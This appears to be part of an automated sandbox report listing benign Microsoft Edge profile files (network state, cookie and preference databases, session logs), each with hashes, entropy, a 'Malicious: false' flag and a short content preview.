C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8dc0103b-fbdd-4670-af18-5e03ef9561d0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.352746836489562
Encrypted:	false
SSDEEP:	48:TsKLopF+SawLUO1Xj8BhzeXLuC3af2mOaA/Ls4BH5EiLoltRFX08:te+AuhzAc5Ox/Ls0XLoX7X08
MD5:	AE44617A11AC5BC5FC6D21C6B089BA87
SHA1:	D53C18139B56FD18575962978DC0B816CEF35C08
SHA-256:	9C0680A959025FE6A48CFBC1687FCE2836DB85651162303505B6A069E4020FC3
SHA-512:	3AB5B45DAA3C2264073E9D67A1AD91DCBC711D5F807FC66A9B1EC59C18C832849E832A260B3FA41C5648143A14E9A4CA1A501BDCD125196583D1F74E4FF279B2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF324cf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF41605.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.2806145604895236
Encrypted:	false
SSDEEP:	48:TaIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBXW9:uIEumQv8m1ccnvS6xO
MD5:	A6FF986EEBE69E4F7ABF51B52CA5C13B
SHA1:	6467C75B5A941C33A1C30452F9B58C75E435F81D
SHA-256:	0472672DB93FBA7A30D2E96EE90191D04A616FCAFF2FEA8899362FB9C2BE3FC1
SHA-512:	56374BBE2B9ACD3F160CADA63F1B6ACA5D1A5C6FAAEF2DEA21BDDF32A515C5865BF204A8D2854A1067BDF2C18A91768DAF7E7B41FD032E7A28FB8C8198601709
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2fec8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF31907.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	203
Entropy (8bit):	5.4042796420747425
Encrypted:	false
SSDEEP:	6:YAQN1iL50xHA9vh8wXwlmUUAnIMp5sXX2SQ:Y45Sg9vt+UAnIXZQ
MD5:	24D66E5F1B8C76C76511DA68057CDE5E
SHA1:	70225FEC1AE3FEF8D8A767D9EA0B0E108BF8F10D
SHA-256:	D5CB3A4A104E2EC4F13E8B4CDF3BD469E0AB638713928BEA1EAEAF03998B794C
SHA-512:	1CA093B4BB4E0B3EE0B791AD0E6B39AC9640CEB6ED005BD10A10B4AF904858F4898D86D26B60B625CDA9425FF317C6B9FE0DF2E12C897A52720AF775B19491AA
Malicious:	false
Preview:	{"expect_ct":[],"sts":[{"expiry":1727869700.805692,"host":"dUymlFcJcEIuWrPNRCRXYtREHxXDHdPfT47kO1IQnQ0=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1696333700.805702}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity~RF324ee.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	203
Entropy (8bit):	5.4042796420747425
Encrypted:	false
SSDEEP:	6:YAQN1iL50xHA9vh8wXwlmUUAnIMp5sXX2SQ:Y45Sg9vt+UAnIXZQ
MD5:	24D66E5F1B8C76C76511DA68057CDE5E
SHA1:	70225FEC1AE3FEF8D8A767D9EA0B0E108BF8F10D
SHA-256:	D5CB3A4A104E2EC4F13E8B4CDF3BD469E0AB638713928BEA1EAEAF03998B794C
SHA-512:	1CA093B4BB4E0B3EE0B791AD0E6B39AC9640CEB6ED005BD10A10B4AF904858F4898D86D26B60B625CDA9425FF317C6B9FE0DF2E12C897A52720AF775B19491AA
Malicious:	false
Preview:	{"expect_ct":[],"sts":[{"expiry":1727869700.805692,"host":"dUymlFcJcEIuWrPNRCRXYtREHxXDHdPfT47kO1IQnQ0=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1696333700.805702}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.36515621748816035
Encrypted:	false
SSDEEP:	24:TLH3lIIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:Tb31DtX5nDOvyKDhU1cSB
MD5:	25363ADC3C9D98BAD1A33D0792405CBF
SHA1:	D06E343087D86EF1A06F7479D81B26C90A60B5C3
SHA-256:	6E019B8B9E389216D5BDF1F2FE63F41EF98E71DA101F2A6BE04F41CC5954532D
SHA-512:	CF7EEE35D0E00945AF221BEC531E8BF06C08880DA00BD103FA561BC069D7C6F955CBA3C1C152A4884601E5A670B7487D39B4AE9A4D554ED8C14F129A74E555F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......X..g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a90bcd4c-260c-4653-b6b8-b6f20baf267f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d52ef99d-3bb7-4b95-baaf-4fbb04d97bf9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\e4324cb2-c6b2-4ebe-b431-fc9d78c511d1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6852315298663104
Encrypted:	false
SSDEEP:	24:TLiOUOq0afDdWec9sJEpMl741miI7J5fc:TOOUzDbg39pMldc
MD5:	19F8A237057D855585E293B39C348D63
SHA1:	6DFC800D2C67A332B72884BDDEDE8A231EAEB35F
SHA-256:	86E8C808D16056DAFA4449DE639D0C5F372B654C319516D5FC598DDD7FC4045E
SHA-512:	FFD7FDF11BC4C78963D8420DE2E1BDCC611ADB93FE5F9D094BBE1C79D1E1A4D0CD3A95EF60760A6BFB719170DBD0DE1929AB28D0268E7A02B489E0F84E71078B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9732
Entropy (8bit):	4.95633898006202
Encrypted:	false
SSDEEP:	96:sVxkdliuUJ1rb9VMH+cQaY6cR85Th6Xp9/x+6M8mueclk1eAeCfe4zvrU2NHQyVd:sVxkdlSJE+jaY6cR84pj+FSkQAzUO1f
MD5:	2699B12A607D5131409EDF5D2BF4F33B
SHA1:	FBC870D9E6DBA2D31AAB8A8EB2BCC02B58EF3B0F
SHA-256:	1C6B93FE3BF2ADE9301E76DE9B98302C3CC8E89DAE1924034DD53DB4818D84F4
SHA-512:	A7BAC58C8A96EE9767BA1A58ED58D7752CA75160D05BE2658E0FC51E565876B199E3609AADDD05DF2EAE574286DE3E00A1A68CD66A9ECC8FF6C5E5718003020C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13376696967884022","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":10090,"left":10000,"maximized":false,"right":10500,"top":10000,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":0,"browser_content_container_width":456,"browser_content_container_x":0,"browser_content_container_y":111,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF34528.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9732
Entropy (8bit):	4.95633898006202
Encrypted:	false
SSDEEP:	96:sVxkdliuUJ1rb9VMH+cQaY6cR85Th6Xp9/x+6M8mueclk1eAeCfe4zvrU2NHQyVd:sVxkdlSJE+jaY6cR84pj+FSkQAzUO1f
MD5:	2699B12A607D5131409EDF5D2BF4F33B
SHA1:	FBC870D9E6DBA2D31AAB8A8EB2BCC02B58EF3B0F
SHA-256:	1C6B93FE3BF2ADE9301E76DE9B98302C3CC8E89DAE1924034DD53DB4818D84F4
SHA-512:	A7BAC58C8A96EE9767BA1A58ED58D7752CA75160D05BE2658E0FC51E565876B199E3609AADDD05DF2EAE574286DE3E00A1A68CD66A9ECC8FF6C5E5718003020C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13376696967884022","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":10090,"left":10000,"maximized":false,"right":10500,"top":10000,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":0,"browser_content_container_width":456,"browser_content_container_x":0,"browser_content_container_y":111,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3901c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9732
Entropy (8bit):	4.95633898006202
Encrypted:	false
SSDEEP:	96:sVxkdliuUJ1rb9VMH+cQaY6cR85Th6Xp9/x+6M8mueclk1eAeCfe4zvrU2NHQyVd:sVxkdlSJE+jaY6cR84pj+FSkQAzUO1f
MD5:	2699B12A607D5131409EDF5D2BF4F33B
SHA1:	FBC870D9E6DBA2D31AAB8A8EB2BCC02B58EF3B0F
SHA-256:	1C6B93FE3BF2ADE9301E76DE9B98302C3CC8E89DAE1924034DD53DB4818D84F4
SHA-512:	A7BAC58C8A96EE9767BA1A58ED58D7752CA75160D05BE2658E0FC51E565876B199E3609AADDD05DF2EAE574286DE3E00A1A68CD66A9ECC8FF6C5E5718003020C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13376696967884022","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":10090,"left":10000,"maximized":false,"right":10500,"top":10000,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":0,"browser_content_container_width":456,"browser_content_container_x":0,"browser_content_container_y":111,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4054c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9732
Entropy (8bit):	4.95633898006202
Encrypted:	false
SSDEEP:	96:sVxkdliuUJ1rb9VMH+cQaY6cR85Th6Xp9/x+6M8mueclk1eAeCfe4zvrU2NHQyVd:sVxkdlSJE+jaY6cR84pj+FSkQAzUO1f
MD5:	2699B12A607D5131409EDF5D2BF4F33B
SHA1:	FBC870D9E6DBA2D31AAB8A8EB2BCC02B58EF3B0F
SHA-256:	1C6B93FE3BF2ADE9301E76DE9B98302C3CC8E89DAE1924034DD53DB4818D84F4
SHA-512:	A7BAC58C8A96EE9767BA1A58ED58D7752CA75160D05BE2658E0FC51E565876B199E3609AADDD05DF2EAE574286DE3E00A1A68CD66A9ECC8FF6C5E5718003020C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13376696967884022","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":10090,"left":10000,"maximized":false,"right":10500,"top":10000,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":0,"browser_content_container_width":456,"browser_content_container_x":0,"browser_content_container_y":111,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PreferredApps

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.051821770808046
Encrypted:	false
SSDEEP:	3:YVXADAEvTLSJ:Y9AcEvHSJ
MD5:	2B432FEF211C69C745ACA86DE4F8E4AB
SHA1:	4B92DA8D4C0188CF2409500ADCD2200444A82FCC
SHA-256:	42B55D126D1E640B1ED7A6BDCB9A46C81DF461FA7E131F4F8C7108C2C61C14DE
SHA-512:	948502DE4DC89A7E9D2E1660451FCD0F44FD3816072924A44F145D821D0363233CC92A377DBA3A0A9F849E3C17B1893070025C369C8120083A622D025FE1EACF
Malicious:	false
Preview:	{"preferred_apps":[],"version":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558173099699503
Encrypted:	false
SSDEEP:	768:zs8U727pLGLPMVWPUafMT8F1+UoAYDCx9Tuqh0VfUC9xbog/OVRIhAyrwmgp3tuf:zs8U7WcPMVWPUafMTu1jaEmA3mItU
MD5:	37231F29A4B27136E42B5547922B4194
SHA1:	744D0429AC221CCF99BFE7B7684A94199D577621
SHA-256:	F9BAC7B8AFD369510050DC6B1C646DCDCC64711F2AF106185BAD94988E7AD4E5
SHA-512:	0B3021BCE86405EA733501B8B9F8872831811923458613A1D037E400574C5862194F8E3931DC47638FD13183FD062AB630959F0E5B27488E3FD3C4C1AA9BB57C
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376696967298871","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376696967298871","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF34680.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558173099699503
Encrypted:	false
SSDEEP:	768:zs8U727pLGLPMVWPUafMT8F1+UoAYDCx9Tuqh0VfUC9xbog/OVRIhAyrwmgp3tuf:zs8U7WcPMVWPUafMTu1jaEmA3mItU
MD5:	37231F29A4B27136E42B5547922B4194
SHA1:	744D0429AC221CCF99BFE7B7684A94199D577621
SHA-256:	F9BAC7B8AFD369510050DC6B1C646DCDCC64711F2AF106185BAD94988E7AD4E5
SHA-512:	0B3021BCE86405EA733501B8B9F8872831811923458613A1D037E400574C5862194F8E3931DC47638FD13183FD062AB630959F0E5B27488E3FD3C4C1AA9BB57C
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376696967298871","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376696967298871","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	356
Entropy (8bit):	3.9698873126311827
Encrypted:	false
SSDEEP:	6:S85aEFljljljljljljlRJb/llaV93zUxEi+KRdUA5EEE:S+a8ljljljljljljlRJb/lcoxoKRH
MD5:	FC10554390E9EA7EAE4BCED08117CE75
SHA1:	6FA678B2C74938A713545E16FD37438F80DCD5C7
SHA-256:	C488CD5C24A51B04FFC0B0C707ECA3F7DB301B3796017B589D305DA5A1B5D00C
SHA-512:	6ADE7B57CB27E8422F8C7B5AE3F3CF8451B9C68763623B3B0A918B56FE14CBD6DD5B96937AABDE826298EE743C9DF09E614D9D4C03FF89CE5CB412DDFB42C26D
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................&f.................&f...............S=..b................next-map-id.1.Cnamespace-d7af8c7f_659b_4a66_adbb_e21a54902632-https://ntp.msn.com/.0V.e................V.e................V.e................V.e................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.107039098924628
Encrypted:	false
SSDEEP:	6:HE9JOq2Pwkn23oH+TcwtrQMxIFUt8YE9NNZZmw+YE9gFszkwOwkn23oH+TcwtrQq:k9JOvYfYebCFUt8/9NNZ/+/9gFo5JfYM
MD5:	050E31A678B4AB8264980BFC4ED9E5F8
SHA1:	04EC6A31C915DC1A35EF70B190D1170CC98EB51F
SHA-256:	6EE6CC8F36446281B02F7608FB198853D779CF8B1A7FA59284D8EB55827C37E8
SHA-512:	2239887756BB9A8AE7BA6AFABFF796E3E46A264BFCD058E67B8432BC5B2F8E34A4EED3034EF78EF1C764A527BF8C836AA0A86FB0F014D3FDCF439353BDE4DFE3
Malicious:	false
Preview:	2024/11/21-16:09:28.161 2100 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/21-16:09:28.165 2100 Recovering log #3.2024/11/21-16:09:28.170 2100 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

